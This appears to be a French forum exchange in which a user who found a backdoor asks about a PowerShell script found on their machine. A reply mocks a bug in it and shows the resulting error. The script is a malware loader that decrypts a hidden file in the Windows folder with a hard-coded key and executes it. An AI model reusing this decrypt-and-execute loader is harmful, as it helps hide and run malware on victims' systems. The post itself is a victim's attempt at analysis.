Après avoir détecté une backdoor dans ma machine et des fichiers étranges dans ma liste d'exclusion DEFENDER j'ai trouvé ce petit script powershell, je ne suis pas très bon mais il semble décrypter un fichier que je n'ai pas trouvé ?
function Execute-EncryptedScript($path) {
trap { Write-Host -fore Red "You are not authorized to decrypt and execute this script"; continue }
& {
$raw = Get-Content $path
$key = (convertto-securestring -string "8EtaBkwkJw3hxXug" -asplaintext -force)
$helper = New-Object system.Management.Automation.PSCredential("test", $key)
$key = $helper.GetNetworkCredential().Password
$secure = ConvertTo-SecureString $raw -key (([int[]][char[]]$key)[0..15]) -ea Stop
$helper = New-Object system.Management.Automation.PSCredential("test", $secure)
$plain = $helper.GetNetworkCredential().Password
Invoke-Expression $plain
}
}
Execute-EncryptedScript $env:windir\core.bin
Tu diras au développeur qu'il a un bug ici $secure = ConvertTo-SecureString $raw -key (([int[]][char[]]$key)[0..15]) -ea Stop
ConvertTo-SecureString : Le remplissage n'est pas valide et ne peut pas être supprimé.
Au caractère C:\Users\Rico\Desktop\Sans titre2.ps1:23 : 11
+ $secure = ConvertTo-SecureString $raw -key (([int[]][char[]]$key)[0.. ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument : ( [ConvertTo-SecureString], CryptographicException
+ FullyQualifiedErrorId : ImportSecureString_InvalidArgument_CryptographicError,Microsoft.PowerShell.Commands.ConvertToSecureStringCommand
[ConvertTo-SecureString], CryptographicException
